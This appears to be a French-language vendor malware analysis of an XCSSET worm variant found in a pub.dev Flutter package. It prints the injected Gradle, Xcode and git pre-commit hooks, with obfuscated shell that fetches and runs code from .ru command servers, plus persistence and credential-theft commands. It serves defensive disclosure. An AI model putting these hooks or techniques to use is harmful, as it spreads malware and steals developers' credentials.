Aujourd'hui, pub.dev s'ajoute à la liste des registres de paquets sur lesquels nous avons découvert des malwares. Nous avons détecté une variante de XCSSET cachée à l'intérieur de universal_file_viewer (version 0.1.5), un paquet d'aperçu de fichiers Flutter sur pub.dev comptant environ 500 téléchargements. Il s'agit du premier paquet compromis que nous détectons sur pub.dev, le dépôt de paquets officiel pour Dart et Flutter. Contrairement aux attaques récentes de la chaîne d'approvisionnement npm auxquelles vous êtes peut-être habitué, il ne s'agissait pas ici d'une action ciblée menée intentionnellement contre ce paquet.
XCSSET est un ver macOS qui intègre un hook de compilation malveillant dans chaque projet Android Gradle, projet Xcode et dépôt Git qu'il trouve sur une machine compromise. La machine du mainteneur a été infectée, et lorsqu'il a publié une nouvelle version du paquet depuis cette machine, les fichiers infectés ont été inclus. Le paquet pub.dev provient d'un dépôt GitHub compromis.
Une rapide recherche sur GitHub montre que le phénomène se poursuit aujourd'hui, d'autres mainteneurs publiant activement des projets infectés sans le savoir :

Pour plus de contexte sur XCSSET, consultez le rapport de Unit 42 The Xcode Assassin Returns ainsi que les publications de Microsoft de mars et septembre 2025.
Ce que nous avons trouvé dans le paquet
universal_file_viewer est un paquet pub.dev qui fournit des widgets d'aperçu de fichiers en ligne pour les applications Flutter : PDF, Word, Excel, vidéo, Markdown et texte brut. Son code de bibliothèque Dart dans lib\/ est parfaitement propre. Les fichiers infectés se trouvent tous dans le répertoire example\/ , qui est inclus dans l'archive tarball pub.dev mais n'est jamais compilé lorsque le paquet est utilisé comme dépendance. Le simple fait d'ajouter universal_file_viewer à votre pubspec.yaml et de compiler votre propre application ne déclenche rien. Le risque concerne quiconque clone le dépôt et compile explicitement l'application d'exemple en local. Il ne s'agit pas d'une attaque ciblée contre le paquet ou ses dépendants. Le ver s'est simplement attaché à tous les fichiers de build trouvés sur la machine infectée du mainteneur, et la plupart des utilisateurs du paquet ne seront jamais touchés.
Trois configurations de build distinctes ont été infectées, chacune ayant été injectée indépendamment par les modules de ver d'XCSSET :
example\/android\/app\/build.gradle.kts contient un crochet preBuild injecté par le module android_finder :
tasks.all {
if (name.contains("preBuild")) {
doLast {
ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
}
}
}printf xAxd | tr -d A reconstruit xxd au moment de l'exécution pour contourner les scanners basés sur les chaînes de caractères. Le bloc hexadécimal se décode en une requête curl vers 5yotmxcc54l9xda[.]ru\/a avec le tag de campagne p=android_kotlin. Cela s'exécute silencieusement à chaque build Gradle, la sortie étant ignorée.
example\/ios\/Runner.xcodeproj\/project.pbxproj et example/macos/Runner.xcodeproj/project.pbxproj contiennent tous deux un PBXBuildRule élément qui se déclenche lorsqu'un .md fichier est traité lors d'une compilation :
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";A3EA261 est un paramètre de compilation défini dans le même fichier. Pour iOS, il est obfusqué en base64 (printf bdase64 | tr -d d), pointant vers qdgs232i-q[.]ru avec le tag p=xcode_rule. Pour macOS, il est obfusqué en hexadécimal (printf xxVd | tr -d V), pointant vers ejntin6hkjt7gj2[.]ru avec le même tag. Les deux s'exécutent lors de la compilation du projet.
La chaîne d'infection
XCSSET est composée de plusieurs étapes et modules, chacun ayant une fonction spécifique.
Étapes
- Étape 1 : le hook de compilation contacte le C2 et récupère un script qui effectue une nouvelle requête avec le système d'exploitation et le nom d'utilisateur
- Étape 2 : le serveur renvoie un script shell chiffré qui collecte le numéro de série du matériel et les paramètres régionaux, télécharge le chargeur principal vers
/tmp/h, compile un bundle d'application invisible autour de celui-ci, le lance, puis supprime les deux en l'espace de dix secondes - Étape 3 : le chargeur est un AppleScript compilé exécutable uniquement qui se déchiffre lui-même à l'aide d'AES-256-CBC avec une clé basée sur la date, puis exécute la charge utile déchiffrée en mémoire
- Étape 4 : la charge utile déchiffrée est l'orchestrateur principal qui déploie tous les modules
Modules de propagation
android_finder: injecte unpreBuildhook malveillant dans chaque projet Android Gradle sur la machine. Tout développeur qui compile l'un de ces projets est également infectégit_finder: écrit unpre-commithook malveillant dans chaque dépôt git sur la machine. S'exécute à chaque commitreplicator_finder: injecte une phase de build malveillante dans chaque projet Xcode sur la machine. Tout développeur qui en compile un est infecté
Persistance
persist: remplace l'icône du Launchpad dans le Dock par un faux bundle qui relance la chaîne à chaque clic de l'utilisateur. Survit aux redémarrages et ne laisse aucune trace dans les emplacements de persistance standard
Modules de vol
browser_remote: supprime l'élément du trousseau Safe Storage de Chrome pour intercepter sa clé de chiffrement régénérée, puis exfiltre les mots de passe enregistrés, les cookies et les jetons de sessionsafari_remote: installe un faux bundle Safari et exfiltre les données locales de Safarifirefox_data: déploie un binaire natif et exfiltre les identifiants de Firefoxtdesktop: ferme Telegram, le remplace par une copie piégée et cible les données de sessionnotes_app: attend l'ouverture de Notes, Rappels ou Calendrier, puis exfiltre leurs donnéesclipboard: lit et exfiltre le contenu du presse-papierssettings_app: usurpe l'application Paramètres Système et utilisesudopour l'élévation de privilègesdata_folders_finder: parcourt le répertoire personnel et exfiltre les fichiers des dossiers ciblés
Tous les modules de vol sont récupérés depuis le C2 et exécutés en mémoire via osascript. Rien n'est écrit sur le disque. Les données volées sont chiffrées avec AES-256-CBC avant d'être envoyées à /u.
Mode de propagation
Avant d'exécuter tout module de vol, le chargeur déploie trois modules de ver.
android_finder
android_finder recherche dans le répertoire personnel les fichiers de build Android :
nice -n 15 find ~ -maxdepth 6 \
\( -type d \( -name Movies -o -name Library ... \) -prune \) \
-o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -printPour chaque correspondance, il s'assure qu'il s'agit d'un vrai module Android avant de procéder à l'injection, tout en nettoyant d'abord toute infection antérieure. Il prend en charge les fichiers de build Kotlin DSL et Groovy. Tout développeur qui compile par la suite l'un de ces projets se retrouve infecté, tout comme quiconque clone le dépôt et le compile après lui.
git_finder
git_finder trouve chaque .git répertoire sur la machine et y écrit un hook pre-commit malveillant. La charge utile du hook est polymorphe : le domaine C2, le schéma d'encodage et la profondeur d'imbrication sont tous randomisés pour chaque infection. Le résultat ressemble à ceci :
#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)Chaque commit effectué par le développeur, dans n'importe lequel de ses dépôts, déclenche à nouveau et silencieusement toute la chaîne. Si un hook existe déjà, le module supprime les lignes précédemment injectées via sed avant d'ajouter les nouvelles.
replicator_finder
replicator_finder est le vecteur XCSSET classique. Il analyse project.pbxproj fichiers, vérifie la présence de archiveVersion = et section PBXShellScriptBuildPhase, et injecte une phase de build de type Run Script. N'importe quel développeur qui ouvre et compile un projet Xcode infecté se fait piéger. C'est documenté depuis 2020 et cela reste dans la boîte à outils aux côtés des deux autres vecteurs.
Persistance cachée dans le Dock
Le persist Le module détermine si cela survit à un redémarrage. C'est le cas, et d'une manière qui contourne les vérifications de persistance standard.
Il télécharge dockutil depuis le C2 (/d/dockutil_arm64 ou /d/dockutil_amd64), le signe ad-hoc et crée un faux bundle d'application sous ~/Library/Caches/vyf[.]lttzw[.]snjgwq/. Le fichier Info.plist du bundle est modifié pour usurper l'identité de Launchpad :
plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plistIl utilise ensuite dockutil pour remplacer la véritable icône de Launchpad dans le Dock par le faux bundle. Cliquer sur Launchpad ouvre le vrai Launchpad (open -b com.apple.launchpad.launcher) et exécute le script malveillant en même temps. À chaque redémarrage, il s'exécute la première fois que l'utilisateur clique sur Launchpad.
Modules de vol de données
Une fois la propagation et la persistance en place, le chargeur lance des modules de vol. Chacun est récupéré depuis /s/<module> et exécuté via osascript -e "$(curl ...)". Rien n'est écrit sur le disque.
browser_remote télécharge un binaire natif (cd_arm64 ou cd_amd64) depuis le serveur C2, supprime les entrées de GoogleUpdater et SoftwareUpdate Chrome et exécute security delete-generic-password pour supprimer l'entrée du trousseau Safe Storage de Chrome. La suppression de cette entrée force Chrome à régénérer sa clé de chiffrement, que le binaire the intercepte pour déchiffrer les mots de passe, cookies et jetons de session enregistrés.
safari_remote dépose un faux bundle Safari dans ~/Library/ASafari/ et ~/Library/Caches/com[.]beta[.]Safari et exfiltre les données locales de Safari.
firefox_data télécharge hbdm_arm64 ou hbdm_amd64 et l'exécute avec -c password --zip, produisant un firefox_browser_data.zip importé vers /u.
tdesktop s'exécute killall -9 Telegram, télécharge un package reconditionné Telegram.app depuis le serveur C2, et remplace le fichier d'origine par une signature ad-hoc. Il cible les données de session de Telegram à la fois dans le chemin classique (~/Library/Application Support/Telegram Desktop/tdata) et dans le chemin du conteneur cloisonné (sandboxed).
notes_app attend que Notes, Rappels ou Calendrier s'exécute, s'implante dans le bundle de l'application correspondante et exfiltre notes_app_data.zip.
clipboard exécute une boucle pbpaste et exfiltre le contenu du presse-papiers.
settings_app crée un faux bundle de Réglages Système répertorié sous « Préférences Système » et « Préférences » dans Spotlight, télécharge un binaire distinct mac_bin_daemon_app depuis le C2, et exécute des commandes via sudo -u pour l'élévation de privilèges.
data_folders_finder parcourt le répertoire utilisateur et exfiltre les fichiers des dossiers ciblés vers /u.
Toutes les données dérobées sont envoyées vers /u via une requête POST multipart, chiffrées avec une clé AES-256-CBC.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Indicateurs de compromission
Domaines C2
5yotmxcc54l9xda[.]ruqdgs232i-q[.]ruejntin6hkjt7gj2[.]ru
Artéfacts de fichiers
project.pbxprojcontenant un fichierPBXBuildRuleavecsh -c "${A3EA261}"build.gradleoubuild.gradle.ktscontenant un appel de shell obfusqué utilisantprintf xAxd | tr -d Apour reconstituerxxd.git/hooks/pre-commitcontenantbase64 --decode | base64 --decodeouxxd -p -r | xxd -p -r
